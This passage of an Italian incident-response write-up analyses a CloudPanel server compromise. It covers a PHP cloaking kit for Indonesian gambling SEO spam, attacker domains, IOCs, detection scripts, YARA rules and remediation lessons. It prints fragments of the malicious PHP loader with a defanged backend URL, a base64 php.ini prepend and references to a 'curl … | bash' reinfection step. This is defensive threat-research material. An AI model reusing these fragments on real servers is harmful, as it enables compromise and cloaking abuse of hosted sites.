La trascrizione (fatta a mano dagli screenshot archiviati, non dal file originale) è affidabile fino a questo punto; il resto della funzione non l'ho ricostruito. Nella versione del 14/08 lo stesso codice è formattato in modo leggibile e l'endpoint remoto è cambiato.

Versione del 14/08/2026:

<?php
set_time_limit(0);
error_reporting(0);
ini_set("display_errors", "0");
ini_set("log_errors", "0");
$remote_base = "hxxps://tg.cgjzjg[.]com/idnxy?domain=";
function normalize_encoding($content) { ... }
function extract_http_code($header_lines) { ... }

È un proxy di cloaking. Per il dominio richiesto (?domain=) interroga un backend remoto, ne normalizza la codifica, ne legge lo status HTTP e restituisce quel contenuto al posto della pagina reale. Lo stesso schema, cioè auto_prepend_file="data:;base64,PD9waHAKc2V0X3RpbWVfbGltaXQoMCk7..." in php.ini più il riconoscimento degli spider (Baiduspider|360spider|Sogou…) per servire contenuti diversi ai motori di ricerca, è documentato pubblicamente su server DirectAdmin dal 2024. Si tratta di una famiglia di kit in uso da tempo, adattata a CloudPanel.

Sul sistema analizzato i log nginx mostravano migliaia di richieste da crawler (MJ12bot, AhrefsBot, bingbot, Googlebot) verso URL mai esistiti:

/?cc=171433228872
/shop/87227347182
/online/675549563810

È il pattern tipico delle doorway page generate da questi cloaker, con identificativi numerici lunghi e percorsi generici.

11.4 Dove porta la monetizzazione

16cr[.]com/idnxy.html, scansionato su urlscan.io lo stesso 25/07/2026, reindirizza a:

hxxps://eazbmrh7hr.v0f6z3u9[.]com/IDR-en/home?refid=ATISNTNRQ

IDR è il codice ISO della rupia indonesiana, refid è un codice di affiliazione, e il percorso idnxy richiama "IDN". È la firma delle piattaforme di gioco d'azzardo online indonesiane ("slot gacor"), che da anni usano server compromessi in tutto il mondo per posizionarsi sui motori di ricerca con la reputazione di domini altrui. Sulla stessa pagina compaiono anche il dominio jsjzzy[.]com (certificato WE1) e Microsoft Clarity per il tracciamento.

12. Infrastruttura dell'attaccante

12.1 C2: githubresource[.]com

Campo Valore
Registrar GoDaddy.com, LLC (IANA 146)
Registrant Domains By Proxy, LLC (privacy)
Creazione 2025-04-18 08:13:05 UTC
Ultimo aggiornamento 2026-04-20 12:58:19 UTC
Scadenza 2027-04-18
Stato clientDelete/Renew/Transfer/UpdateProhibited
NS arturo.ns.cloudflare.com, autumn.ns.cloudflare.com
A (nel tempo) 188.114.96[.]2 / 188.114.97[.]2 → 188.114.96[.]3 / 97[.]3 → 188.114.96[.]7 / 97[.]7
AAAA 2a06:98c1:3120::7, 2a06:98c1:3121::7
DNS wildcard Sì (*.githubresource[.]com risolve)
MX / TXT / CAA Assenti
Sottodomini osservati api. (C2 e recover), git. (distribuzione dei kit)

Certificati (Certificate Transparency): emissioni continue da aprile 2025 a oggi, con quattro CA diverse (Google Trust Services WE1, Sectigo, GoDaddy, Let's Encrypt YE1) e rinnovi puntuali ogni 60–90 giorni. È un'infrastruttura mantenuta con cura. Il nome imita GitHub per sembrare traffico legittimo verso "risorse GitHub" (git., api.).

Gli IP sono anycast Cloudflare: il server d'origine è nascosto e bloccare gli IP non ha senso (sono condivisi con milioni di siti leciti). L'unico blocco efficace è per nome, meglio se a livello di DNS o di proxy in uscita.

12.2 Domini del cloaking

Dominio Registrar Creazione (WHOIS) Primo certificato CT NS Ruolo
16cr[.]com Gname.com Pte. Ltd. 2025-06-09 2024-05-22 cass/trevor.ns.cloudflare.com backend cloaking v1 (/idnxy2), redirect gambling (/idnxy.html)
cgjzjg[.]com / tg.cgjzjg[.]com Gname.com Pte. Ltd. 2024-06-13 2019-05-21 joan/odin.ns.cloudflare.com backend cloaking v2 (/idnxy)
v0f6z3u9[.]com Cloudflare landing gambling (eazbmrh7hr. sottodominio casuale)
jsjzzy[.]com risorsa collegata alla landing
root-seo[.]com pannello ROOT-SEO

I certificati sono più vecchi della data di creazione WHOIS. È il segno di domini scaduti e ri-registrati ("aged domains"), comprati per la loro storia e reputazione. Gname è un registrar di Singapore molto usato da operatori dell'area cinese.

12.3 Attribuzione (con cautela)

  • Commenti in cinese nel kit cp.txt.
  • Registrar Gname e domini invecchiati per il cloaking.
  • Monetizzazione sul mercato del gambling indonesiano.
  • Tooling moderno e curato (Rust nightly giugno 2026, cargo-zigbuild, DoH, loader in memoria).
  • Identità fittizie occidentali generate automaticamente per gli account del pannello.

Il profilo è quello di un gruppo criminale a scopo di lucro, di area cinese, che compromette server CloudPanel su larga scala e li rivende o sfrutta per SEO spam. Non ci sono elementi di un attacco mirato contro il sistema specifico: webshell identiche con nomi casuali, kit generici, account fittizi. Questa è una valutazione, non un'attribuzione.

13. Tecniche MITRE ATT&CK

Tattica Tecnica Implementazione osservata
Initial Access T1190 Exploit Public-Facing Application CloudPanel 2.3.2 (CVE-2023-46157 / CVE-2023-35885, ipotesi)
Execution T1059.004 Unix Shell curl … | bash (recover)
Execution T1505.003 Web Shell 9 webshell PHP con eval di codice firmato RSA
Persistence T1543.002 Systemd Service falsi generator, unit transient systemd-run
Persistence T1053.006 Systemd Timers system-dependency-tracker.timer
Persistence T1546 Event Triggered Execution regola udev 75-random-init.rules
Persistence T1136 / T1098 Create/Manipulate Account admin CloudPanel scritto nel DB SQLite
Persistence T1505.003 + backup webshell propagata nei backup giornalieri
Privilege Escalation T1548.003 Sudo clp ALL=(ALL) NOPASSWD: ALL
Privilege Escalation T1548.001 Setuid /usr/bin/chuser 4755
Defense Evasion T1036.004/.005 Masquerading nomi kworker/watchdog, dbus-daemon, .so eseguibili, chuserchattr
Defense Evasion T1070.006 Timestomp mtime 2026-01-23 10:51:17 su tutto lo stage 2
Defense Evasion T1222.002 File Permissions Modification chattr +i
Defense Evasion T1027 / T1620 Obfuscated Files / Reflective Code Loading stage 1 cifrato, PHANTOM_LOADER in memoria
Defense Evasion T1564.001 Hidden Files /dev/shm/.dbus-…, .rs_g*
Discovery T1082 System Information Discovery hostname, CPU (chuser)
Command and Control T1071.001 Web Protocols HTTPS 443
Command and Control T1071.004 / T1572 DNS over HTTPS /dns-query?…&type=A
Command and Control T1090 Proxy (reverse proxy CDN) origine nascosta dietro Cloudflare, IP anycast ruotati
Command and Control T1105 Ingress Tool Transfer /api/recover, /cp/cp.txt, /bash
Impact T1565.001 Stored Data Manipulation php.ini, .htaccess, footer, jquery.min.js
Collection T1056.003 Web Portal Capture (probabile) JS nel jquery.min.js del pannello

14. Indicatori di compromissione

14.1 Hash SHA-256

749f5b949e6f3c79dbce6d1087605cab5fce00faf16f1633dff18ccadd3ff2a0  webshell PHP "OpenALL" (chiave RSA #1, parametro POST OpenSSL)
fa753f9e3e657aaf8cb0b7d1e33fcda163359bf9c5183d0478b34f892a329c54  webshell PHP openid-script.php (chiave RSA #2, parametro POST CloudPanel)
04ab8107fbd0b3bc599aa3ec1e3ccaea3e63e7807dd4399c0ffb74c54ba7418e  stage 1 ELF cifrato (systemd-helper, dbus-daemon, gnome-session-binary, tmpfiles-prime, bootd)
1b1f6fac895cef4c0f6c48b873c8817291f297361c817a0dd46be522fdcc8a07  stage 2 PHANTOM_LOADER Rust (libaudit-base.so.3, libjournald-runtime.so.0, libsystemd-journald-backend.so.0.1)
d9909a2eb507157c66054e89a2db6911dc018651f322dcad9e0d1e412a7b742e  chuser (SUID, Rust, DoH client)
211fb1b99129f7f496ef877489aa22709b0bebd2951f235ca7ef3160e1bd39f6  systemd-lvm-topology-generator ("systemd-fake-generator v252")
014610c2dc6ad04e9077264d88bd31535a2c6098357527ccd5fef7b7678320ec  systemd-netlink-sync-generator (recover)
f67ebc76ea22ceda6dcd97ecb00d79964c401b2989a1b7efa74d978b4c0e6107  ROOT-SEO Connector v5.4
a578844e0ecd2206694672557329d5799ab98532b7434676d2005ebca2b6060c  75-random-init.rules
5fbb84ad93c84e13df197003ddc1f13118595863561d0e4e2037015fedc74657  system-dependency-tracker.timer
eb59b69f810e7147b62fc235fab666dc8155215ac1e6dc2fb5b7b3f76d7661d3  system-dependency-tracker.service
39509aaeabc6f5d955fa0408600494edf7568f80bf3ebab1cd8e21e686926d2e  cp.txt v1 (25/07/2026)
b04e0a88bfb3d3881104d0ec5cf09f74fcb72afeb2e44575c4c7516b90fabb5c  cp.txt v2 (14/08/2026)

14.2 Rete

api.githubresource[.]com                         C2, TLS 443 (e HTTP 80 dallo stage 1)
hxxps://api.githubresource[.]com/api/recover     script di reinfezione
git.githubresource[.]com                         distribuzione kit
hxxps://git.githubresource[.]com/cp/cp.txt       kit CloudPanel (php.ini + nginx + jquery)
hxxps://git.githubresource[.]com/bash            installer (401)
*.githubresource[.]com                           wildcard
hxxps://16cr[.]com/idnxy2?domain=                backend cloaking v1
hxxps://16cr[.]com/idnxy.html                    redirect gambling
hxxps://tg.cgjzjg[.]com/idnxy?domain=            backend cloaking v2
eazbmrh7hr.v0f6z3u9[.]com/IDR-en/home?refid=ATISNTNRQ   landing gambling (IDR)
jsjzzy[.]com                                     collegato alla landing
hxxps://root-seo[.]com/api                       pannello ROOT-SEO (e /connector/v5/source)
188.114.96[.]2 / .3 / .7, 188.114.97[.]2 / .3 / .7   Cloudflare anycast (NON bloccare per IP)

14.3 File system

/home/clp/htdocs/app/files/public/phpmyadmin/examples/openid-script.php   (+i, anche in /home/clp/backups/*)
/usr/libexec/systemd-helper
/usr/libexec/dbus-daemon
/usr/libexec/gnome-session-binary
/usr/sbin/tmpfiles-prime
/usr/local/sbin/bootd
/usr/local/lib/libaudit-base.so.3            (+i)
/usr/local/lib/libjournald-runtime.so.0      (+i)
/usr/lib64/libsystemd-journald-backend.so.0.1
/usr/bin/chuser                              (SUID root)
/usr/lib/systemd/system-generators/systemd-lvm-topology-generator
/lib/systemd/system-generators/systemd-lvm-topology-generator
/usr/lib/systemd/system-generators/systemd-netlink-sync-generator   (+i)
/lib/systemd/system/system-dependency-tracker.timer                 (+i)
/lib/systemd/system/system-dependency-tracker.service               (+i)
/etc/udev/rules.d/75-random-init.rules                              (+i)
/run/systemd/system/systemd-devsync.service
/dev/shm/.dbus-e411b8a324c8129d
/tmp/seo-config.php
<docroot>/[a-z0-9]{8}.php                   (webshell, stesso hash)
<docroot>/.rs_links_v5.json, .rs_v5_config.json, .rs_v5_nonces.json, .rs_prepend_v5.php, .rs_guardian_v5.json, .rs_g{1..10}/
/etc/php/*/*/php.ini  →  auto_prepend_file="data:;base64,PD9waHAKc2V0X3RpbWVfbGltaXQoMCk7
/home/clp/htdocs/app/files/public/assets/js/jquery.min.js   (modificato)

14.4 Stringhe distintive

PHANTOM_LOADER_ARGV_PADDED
systemd-fake-generator v252
write_fake_unit
launcher_template.c
Fini at work
Usage: chuser  [-RVl] [-+=AacDdeijsSu] [-v version] files...
GET /dns-query?name=
OpenALL
$_POST['OpenSSL']
$_POST['CloudPanel']
ROOT-SEO Connector
ROOTSEO_HTACCESS_START
rootseo-connector/
idnxy

14.5 Identità fittizie

CloudPanel user: nataliejohnson  — "Jessica Farley"  — kramershane@gmail.com  — ROLE_ADMIN
CloudPanel user: bryan52         — "Edward Ellis"    — wardshannon@gmail.com  — ROLE_USER

15. Rilevamento

15.1 Controlli rapidi su un server CloudPanel

# Processi "kernel" con eseguibile su disco (i thread veri non hanno exe)
for p in /proc/[0-9]*; do
  e=$(readlink "$p/exe" 2>/dev/null) || continue
  c=$(cat "$p/comm" 2>/dev/null)
  case "$c" in kworker*|watchdog*|migration*|ksoftirqd*|cpuhp*|scsi_eh*|kauditd|rcu_*|irq/*|idle_inject*|kdevtmpfs)
    echo "SOSPETTO pid=${p#/proc/} comm=$c exe=$e";; esac
done

# Generator systemd non appartenenti a pacchetti
for f in /usr/lib/systemd/system-generators/* /lib/systemd/system-generators/* /etc/systemd/system-generators/* /usr/local/lib/systemd/system-generators/*; do
  [ -e "$f" ] && ! dpkg -S "$f" >/dev/null 2>&1 && echo "GENERATOR NON DI PACCHETTO: $f"
done

# Regole udev con systemd-run / KillMode=none
grep -rn "systemd-run\|KillMode=none" /etc/udev/rules.d/ /lib/udev/rules.d/ 2>/dev/null

# File immutabili in percorsi di sistema
lsattr -R /usr/local /usr/lib64 /usr/libexec /etc/udev /lib/systemd/system /usr/lib/systemd 2>/dev/null | grep -- '-i-'

# SUID non di pacchetto
find / -xdev -perm -4000 -type f 2>/dev/null | while read f; do dpkg -S "$f" >/dev/null 2>&1 || echo "SUID ESTRANEO: $f"; done

# Timestomping: birth successivo a mtime (find -newerBt non è disponibile su findutils 4.8 di Ubuntu 22.04)
find /usr /lib /lib64 /etc /usr/local -xdev -type f 2>/dev/null | while read -r f; do
  read -r b m < <(stat -c '%W %Y' "$f" 2>/dev/null) || continue
  [ "$b" -gt 0 ] && [ "$b" -gt "$m" ] && echo "TIMESTOMP? birth=$(date -d @$b '+%F %T') mtime=$(date -d @$m '+%F %T') $f"
done
# Variante rapida: file con mtime identico al secondo e nanosecondi a zero, in percorsi di sistema
find /usr/local /usr/lib64 /usr/libexec /etc/udev /lib/systemd/system /usr/lib/systemd/system-generators -xdev -type f \
  -printf '%TY-%Tm-%Td %TH:%TM:%TS %p\n' 2>/dev/null | grep -E ':[0-9]{2}\.0000000000 ' | sort | uniq -w19 -D

# php.ini con prepend inline
grep -rn 'auto_prepend_file' /etc/php/ | grep -v '^\S*:\s*;'

# Webshell firmate RSA
grep -rlE "openssl_public_decrypt" /home/*/htdocs 2>/dev/null | xargs grep -l "eval(" 2>/dev/null

# Connettore ROOT-SEO
grep -rlE "ROOTSEO_|rootseo-connector|X-RS-Panel-Token" /home /tmp /var/tmp 2>/dev/null
find /home -name '.rs_*' 2>/dev/null

# Utenti CloudPanel senza evento di creazione
sqlite3 /home/clp/htdocs/app/data/db.sq3 \
 "SELECT u.user_name,u.email,u.role,u.created_at FROM user u WHERE u.user_name NOT IN
  (SELECT json_extract(event_data,'$.userName') FROM event WHERE event_name='ADMIN_USER_ADD') AND u.id<>1;"

# Risoluzione DNS del C2 (dal server)
getent hosts api.githubresource.com git.githubresource.com 16cr.com tg.cgjzjg.com

15.2 Regole YARA

Ho verificato che ogni stringa usata nelle regole è presente nel campione corrispondente (controllo byte a byte sui file in quarantena). Non ho invece potuto compilare ed eseguire le regole con yara, quindi prima di distribuirle vanno provate con yara -r regole.yar <cartella> e, se possibile, contro un corpus di file legittimi per misurare i falsi positivi. La regola sul php.ini è volutamente generica: la stringa idnxy da sola può produrre falsi positivi e va usata come segnale da confermare, non come verdetto.

rule APT_Linux_PhantomLoader_Rust
{
    meta:
        description = "Loader ELF in memoria (Rust) usato come stage 2 nella campagna githubresource"
        hash = "1b1f6fac895cef4c0f6c48b873c8817291f297361c817a0dd46be522fdcc8a07"
    strings:
        $a = "PHANTOM_LOADER_ARGV_PADDED" ascii
        $b = "invalid executable ELF payload" ascii
        $c = "/usr/lib/systemd/systemd-journald" ascii
        $d = "elf_loader-0." ascii
    condition:
        uint32(0) == 0x464c457f and $a and 2 of ($b,$c,$d)
}

rule Linux_Fake_Systemd_Generator
{
    meta:
        description = "Falsi generator systemd (bootd launcher / recover)"
        hash1 = "211fb1b99129f7f496ef877489aa22709b0bebd2951f235ca7ef3160e1bd39f6"
        hash2 = "014610c2dc6ad04e9077264d88bd31535a2c6098357527ccd5fef7b7678320ec"
    strings:
        $f1 = "systemd-fake-generator v252" ascii
        $f2 = "write_fake_unit" ascii
        $f3 = "/usr/local/sbin/bootd" ascii
        $r1 = "githubresource.com/api/recover" ascii
        $r2 = "' | bash" ascii
        $r3 = "/usr/local/lib/libaudit-base.so.3" ascii
    condition:
        uint32(0) == 0x464c457f and (2 of ($f*) or ($r1 and $r2) or ($r3 and $r2))
}

rule Linux_Chuser_SUID_DoH_Implant
{
    meta:
        description = "Implant Rust SUID travestito da chattr con client DNS-over-HTTPS"
        hash = "d9909a2eb507157c66054e89a2db6911dc018651f322dcad9e0d1e412a7b742e"
    strings:
        $u = "Usage: chuser" ascii
        $d1 = "GET /dns-query?name=" ascii
        $d2 = "application/dns-json" ascii
        $h = "/etc/hostname" ascii
    condition:
        uint32(0) == 0x464c457f and $u and 1 of ($d*) and $h
}

rule PHP_Webshell_RSA_Signed_Eval_Pipeline
{
    meta:
        description = "Webshell PHP che esegue solo codice firmato RSA (OpenALL / CloudPanel)"
        hash1 = "749f5b949e6f3c79dbce6d1087605cab5fce00faf16f1633dff18ccadd3ff2a0"
        hash2 = "fa753f9e3e657aaf8cb0b7d1e33fcda163359bf9c5183d0478b34f892a329c54"
    strings:
        $a = "openssl_public_decrypt" ascii
        $b = "function pipeline(" ascii
        $c = "return eval($cmd)" ascii
        $d = "define('PUBKEY'" ascii
    condition:
        filesize < 5KB and all of them
}

rule PHP_ROOTSEO_Connector
{
    meta:
        description = "ROOT-SEO Connector (backlink injection)"
        hash = "f67ebc76ea22ceda6dcd97ecb00d79964c401b2989a1b7efa74d978b4c0e6107"
    strings:
        $a = "ROOT-SEO Connector" ascii
        $b = "ROOTSEO_HTACCESS_START" ascii
        $c = "HTTP_X_RS_PANEL_TOKEN" ascii
        $d = ".rs_connector.php.bak" ascii
    condition:
        2 of them
}

rule PHP_INI_DataURI_Prepend_Cloaker
{
    meta:
        description = "php.ini con auto_prepend_file data: base64 (kit cp.txt / cloaking gambling)"
    strings:
        $a = /auto_prepend_file\s*=\s*"data:;base64,PD9waHA/ ascii
        $b = "idnxy" ascii
    condition:
        $a or $b
}

15.3 Segnali che avrebbero dovuto allarmare prima

Col senno di poi, alcuni segnali erano visibili da tempo nei report giornalieri:

  • rkhunter segnalava ogni giorno Hidden file found: /dev/shm/.dbus-e411b8a324c8129d, sepolto tra 80 warning "file properties have changed" dovuti ad aggiornamenti non riallineati (--propupd). Un rkhunter rumoroso è un rkhunter inutile.
  • In ps comparivano thread "kernel" con data di avvio diversa dal boot e RSS diverso da zero.
  • Nel syslog c'erano le righe Unit process … (exe) remains running after unit stopped per unità run-r*.service avviate alle 01:00 e subito dopo ogni refresh di snapd, più l'avviso Unit configured to use KillMode=none. This is unsafe a ogni daemon-reload.
  • Nel pannello c'era un amministratore sconosciuto, visibile nella pagina Users.

16. Bonifica: cosa ho imparato

  1. Preservare prima di toccare. Servono snapshot del disco e dump della RAM (AVML/LiME) prima di uccidere i processi. Nel mio caso i processi sono stati terminati senza acquisizione della memoria, e la funzione reale del payload in memoria è rimasta sconosciuta. È il limite principale di questa analisi.
  2. Togliere l'immutabilità (chattr -i) prima di spostare i file, altrimenti mv/rm falliscono in silenzio negli script.
  3. Riavviare e ricontrollare. La seconda persistenza (il generator di recover) è emersa solo al primo reboot. Senza il blocco preventivo del dominio si sarebbe reinfettato tutto.
  4. Bloccare il C2 per nome, non per IP: Cloudflare anycast, IP ruotati tre volte nel periodo osservato.
  5. I backup possono essere infetti. La webshell era in tutti i backup giornalieri del pannello.
  6. Una pulizia a caldo non basta. Con root per un anno, strumenti anti-forensi e un kit che modifica php.ini, nginx e il JavaScript del pannello, l'unica bonifica affidabile è la ricostruzione da immagine pulita. I dati vanno migrati con revisione (niente /etc, /usr, /home/clp, unit systemd), e tutte le credenziali vanno ruotate: pannello, database, SSH, API key nei .env, DKIM, account del provider.
  7. Hardening minimo per CloudPanel:
    • pannello sempre aggiornato;
    • porta 8443 raggiungibile solo da IP fidati o VPN;
    • MFA obbligatorio;
    • rimozione di phpmyadmin/examples;
    • disable_functions e open_basedir nei pool PHP-FPM;
    • /tmp e /dev/shm montati noexec,nosuid;
    • auditd su sudoers, udev/rules.d, system-generators, chattr e php.ini;
    • AIDE o debsums con baseline conservata fuori dal server;
    • log conservati per mesi, e fuori dal server.

17. Conclusioni

Questa campagna mostra quanto il livello medio degli attacchi "di massa" contro i pannelli di hosting si sia alzato. Non c'è un semplice miner lasciato in /tmp, ma una catena modulare e professionale:

  • accesso esclusivo garantito da firme RSA;
  • loader in Rust che non scrive mai il payload su disco;
  • persistenza che sfrutta meccanismi poco sorvegliati del sistema (generator systemd, udev, KillMode=none) e perfino i refresh automatici di snapd come trigger;
  • C2 nascosto dietro Cloudflare e raggiunto via DNS-over-HTTPS;
  • reinfezione automatica in caso di pulizia;
  • monetizzazione a più livelli: backlink venduti tramite un pannello "SaaS" (ROOT-SEO) e cloaking a livello di php.ini che trasforma ogni sito ospitato in una vetrina per il gioco d'azzardo online indonesiano.

Il bersaglio non era un sito in particolare. Era un server CloudPanel non aggiornato, con un utente di servizio che diventa root senza password. Chiunque gestisca VPS con pannelli simili dovrebbe cercare oggi stesso gli indicatori elencati sopra.

Se gestisci una VPS con CloudPanel o un altro pannello di hosting e vuoi una verifica indipendente di questi indicatori, o un supporto nella bonifica, puoi aprire un ticket descrivendo la situazione.

Riferimenti